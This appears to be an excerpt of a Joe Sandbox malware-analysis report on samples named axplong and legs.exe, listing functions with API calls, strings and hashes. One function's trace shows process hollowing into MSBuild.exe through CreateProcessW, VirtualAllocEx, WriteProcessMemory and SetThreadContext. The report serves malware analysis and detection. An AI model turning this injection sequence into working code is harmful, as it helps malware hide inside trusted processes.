Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#S$P#S$This function cannot be called on a default constructed task
API String ID: 2659868963-3752874884
Opcode ID: acd23f5d19380b432de10f2869bf89bd5afa3efba4f5372ad01ce1e0eea09651
Instruction ID: 67ccb8b18ae1df0b823d6037b9746bde60b4385315c6633802b76c4ccdee6b5a
Opcode Fuzzy Hash: acd23f5d19380b432de10f2869bf89bd5afa3efba4f5372ad01ce1e0eea09651
Instruction Fuzzy Hash: CBF0C27091020CABC710EFA8A84599ABFEDEF55304F5041AEF804A7201EB70AA48CB94

Function 0056C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0056CA37

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: dcb76079a840842d0a1de2b1b375e41e8871643b63de17a5aa1476096a50e42b
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: 27B139329002869FEB11CF68C895BBEBFE5FF95340F1485AAD899EB341D6349D41CB60

Function 0054BAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0054BAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 0054BB14
_xtime_get.LIBCPMT ref: 0054BB37
__Xtime_diff_to_millis2.LIBCPMT ref: 0054BB43

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 669ddd414ef58d009565e43842354332a32ee7a83e203020d5aff40435385cb6
Instruction ID: 2f93d06465487767d2b42a44aaeecbaa082de676dc667c81c6b9f148d9d65530
Opcode Fuzzy Hash: 669ddd414ef58d009565e43842354332a32ee7a83e203020d5aff40435385cb6
Instruction Fuzzy Hash: AF212C75A0110AAFDF51EFA4DC459EEBFB8FF88718F000065F901A7261DB74AE059BA1

Function 00547040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 0054726C

Strings

@.S, xrefs: 00547250
`zT, xrefs: 00547282

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: @.S$`zT
API String ID: 3366076730-1159957634
Opcode ID: 3ba612698599b7ffcd7f8eddcb27b6ec22c91f1a01943312e3dfed1096f97b44
Instruction ID: f279f1222fab80ea1245b7d8ba7996f7cdf27a35646a58068f214d565993af92
Opcode Fuzzy Hash: 3ba612698599b7ffcd7f8eddcb27b6ec22c91f1a01943312e3dfed1096f97b44
Instruction Fuzzy Hash: CAA136B4A01619CFDB21CFA8C88479EBBF1BF48714F18815AE819AB351E7759D01CF80

Function 00548E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

P#S, xrefs: 00532486
P#S, xrefs: 0053246D

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: P#S$P#S
API String ID: 0-1326814652
Opcode ID: c9882f6d09937a678e70f66abc9ef63cc54b05215d2af939e3598c1b46e0d8ef
Instruction ID: 2a429339227e771d53ef4a02ee2b634c0ce11d21864dfad543a74a966686303c
Opcode Fuzzy Hash: c9882f6d09937a678e70f66abc9ef63cc54b05215d2af939e3598c1b46e0d8ef
Instruction Fuzzy Hash: 3F51F772A00109ABCB14EFA8DC459AEBBB9FF84314F140A69F915DB241EB31EE149791

Function 0056F21F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0056F263

Strings

8"Y, xrefs: 0056F30B
`'Y, xrefs: 0056F235

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"Y$`'Y
API String ID: 3903695350-3597833648
Opcode ID: e90612cbb4a58b59a2b9e1fd189904bbce5761e26dfd850b2be0998a06154d3e
Instruction ID: 20a79415a537e1dbc7da07e117e33f36c3a93f393a5d06f8bf13d9ed2b1f217f
Opcode Fuzzy Hash: e90612cbb4a58b59a2b9e1fd189904bbce5761e26dfd850b2be0998a06154d3e
Instruction Fuzzy Hash: EB311D35A003069FEB21AB79ED49B5A7BE9BF80310F144839F456E7251DF71AC808F21

Function 00533930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00533962
__Mtx_init_in_situ.LIBCPMT ref: 005339A1

Strings

pBS, xrefs: 00533940

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pBS
API String ID: 3366076730-2610797707
Opcode ID: a86cb35d28dca1bdb948854821dd0676bda8f1f0e4d14107b0ccb8fbc614ecb0
Instruction ID: efcba9bef8bfdf2070112558849edf424e787ba027a6fb727f621d851cd3b743
Opcode Fuzzy Hash: a86cb35d28dca1bdb948854821dd0676bda8f1f0e4d14107b0ccb8fbc614ecb0
Instruction Fuzzy Hash: 234135B1501B05CFD720CF19C588B9ABBF0FF84315F148619E86A8B341E7B4EA05CB80

Function 00532440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0053247E

Strings

P#S, xrefs: 00532486
P#S, xrefs: 0053246D

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#S$P#S
API String ID: 2659868963-1326814652
Opcode ID: 4f181eeb880b08e128dbb04be955a62e34c44fd06557f27a1f515df092becf49
Instruction ID: b4ab58d2b7e72ae784957f2498ce1dc4125a96c43fc10ebb87ff8bf59c010e07
Opcode Fuzzy Hash: 4f181eeb880b08e128dbb04be955a62e34c44fd06557f27a1f515df092becf49
Instruction Fuzzy Hash: 36F0E5B2D1030D6BCB14FBE8D805889BBECEE55300F008A25FA44E7940F770FA488BA1

Function 00532520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00532552

Strings

P#S, xrefs: 0053255D
P#S, xrefs: 00532547

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#S$P#S
API String ID: 2659868963-1326814652
Opcode ID: a6ddb80344f003362ed81d0f8967156ec915dddf5e7a3f8688b602d0f6a3a7bd
Instruction ID: fb109e9d824399ff3413d1a513e401fd7c360f1eec462fc6a9c16392c67071c3
Opcode Fuzzy Hash: a6ddb80344f003362ed81d0f8967156ec915dddf5e7a3f8688b602d0f6a3a7bd
Instruction Fuzzy Hash: 0BF08271D1120DABCB14DFA8D84198EBFF4AF95304F1082AEE84567240EA715A58CB95

Analysis Process: legs.exePID: 6176, Parent PID: 3236COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0.6%
Signature Coverage:	0.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	22

Executed Functions

Function 0095519E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00955110,00955100), ref: 00955334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00955347
Wow64GetThreadContext.KERNEL32(0000008C,00000000), ref: 00955365
ReadProcessMemory.KERNELBASE(00000088,?,00955154,00000004,00000000), ref: 00955389
VirtualAllocEx.KERNELBASE(00000088,?,?,00003000,00000040), ref: 009553B4
WriteProcessMemory.KERNELBASE(00000088,00000000,?,?,00000000,?), ref: 0095540C
WriteProcessMemory.KERNELBASE(00000088,00400000,?,?,00000000,?,00000028), ref: 00955457
WriteProcessMemory.KERNELBASE(00000088,?,?,00000004,00000000), ref: 00955495
Wow64SetThreadContext.KERNEL32(0000008C,00500000), ref: 009554D1
ResumeThread.KERNELBASE(0000008C), ref: 009554E0

Strings

SetThreadContext, xrefs: 009552C2
GetThreadContext, xrefs: 00955276
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00955333
ReadProcessMemory, xrefs: 00955289
aryA, xrefs: 009551E2
Load, xrefs: 009551DA
ResumeThread, xrefs: 009552D8
GetP, xrefs: 0095521E
CreateProcessW, xrefs: 00955250
WriteProcessMemory, xrefs: 009552AF
VirtualAllocEx, xrefs: 0095529C
ress, xrefs: 00955226
VirtualAlloc, xrefs: 00955263
TerminateProcess, xrefs: 009553C3

Memory Dump Source

Source File: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: c0bc56e156c667befd17085c180cf7f8221f7a6a24ccc1c239883bdf7029f55e
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 7DB1097260064AAFDB60CF69CC80BDA73A5FF88714F168514EA0CAB341D774FA41CB94

Function 00931614 Relevance: 9.2, APIs: 6, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00931098: _strlen.LIBCMT ref: 009310F9

CreateFileA.KERNELBASE ref: 00931675
GetFileSize.KERNEL32(00000000,00000000), ref: 00931685
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 009316AB
CloseHandle.KERNELBASE(00000000), ref: 009316BA
_strlen.LIBCMT ref: 00931705
CloseHandle.KERNEL32(00000000), ref: 00931805

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: e51e0d69fb23aef9ba5ac9c246159dbe4ff85c4bb6ce397333d3e7f9e320b483
Instruction ID: 3ca848027a08cff7b7c7b94f521a0049c9ae2219d929830720dfa8b4b697bbad
Opcode Fuzzy Hash: e51e0d69fb23aef9ba5ac9c246159dbe4ff85c4bb6ce397333d3e7f9e320b483
Instruction Fuzzy Hash: CC51DFB19083419BD700AF25DC85B2FBBE9FF88354F154A2DF48A97261EB3499448F62

Function 0093155C Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00931098: _strlen.LIBCMT ref: 009310F9

FreeConsole.KERNELBASE ref: 0093158B

Part of subcall function 0093123B: KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 009312C7

VirtualProtect.KERNELBASE(00955011,00000549,00000040,?), ref: 009315D7
ExitProcess.KERNEL32 ref: 0093160E

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ConsoleDispatcherExceptionExitFreeProcessProtectUserVirtual_strlen
String ID:
API String ID: 2898289550-0
Opcode ID: eee5684f0767dbef3d10bd14fd874d021b183c52f536d29521d2d375e0e494e8
Instruction ID: f65f14ea47a27b938e032f86621ca9d4d9ddba04411374893be7b6fea249f03f
Opcode Fuzzy Hash: eee5684f0767dbef3d10bd14fd874d021b183c52f536d29521d2d375e0e494e8
Instruction Fuzzy Hash: CD110A71E002086BEB00AF66DC52FBF7768EFC4315F404025F908A72E2E5756D154BE1

Function 0093123B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 009312C7

Strings

[+], xrefs: 009312E1

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID: [+]
API String ID: 6842923-4228040803
Opcode ID: f4e71f8ebe4395c85e011c55ef5f19b39305c2e890e596b753f19036647cb25c
Instruction ID: 85160fb12e942bf13da7c0c60dbf8262543b23eb582c051e9908df169502c73a
Opcode Fuzzy Hash: f4e71f8ebe4395c85e011c55ef5f19b39305c2e890e596b753f19036647cb25c
Instruction Fuzzy Hash: FC31093150C3804FD716AB35A8997EBBBD4AFFD318F18097DD8D987243D1615446CB62

Function 00945283 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0094562D: GetConsoleOutputCP.KERNEL32(AF845AA1,00000000,00000000,?), ref: 00945690

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,0093BBF3,?), ref: 00945408
GetLastError.KERNEL32(?,?,0093BBF3,?,0093BE37,00000000,?,00000000,0093BE37,?,?,?,00954628,0000002C,0093BD23,?), ref: 00945412

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 317f8d205863b4e1ae74a1903c7e34d2ba054526014632f99b13ee54679a447d
Instruction ID: 20e5562f649d5ac8456167edd11f26932f31d808346861015aff5a3f99d41d0a
Opcode Fuzzy Hash: 317f8d205863b4e1ae74a1903c7e34d2ba054526014632f99b13ee54679a447d
Instruction Fuzzy Hash: 0D61D2B1D14609AFDF11CFE8C884EEEBBB9AF49344F160555E800AB257D375D941CB60

Function 00945A5C Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,009453EE,00000000,0093BE37,?,00000000,?,00000000), ref: 00945AF8
GetLastError.KERNEL32(?,009453EE,00000000,0093BE37,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,0093BBF3), ref: 00945B1E

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: b3d736e57fbdd3c739fad494181aee0cff116b668b56388c0d48295c9e788077
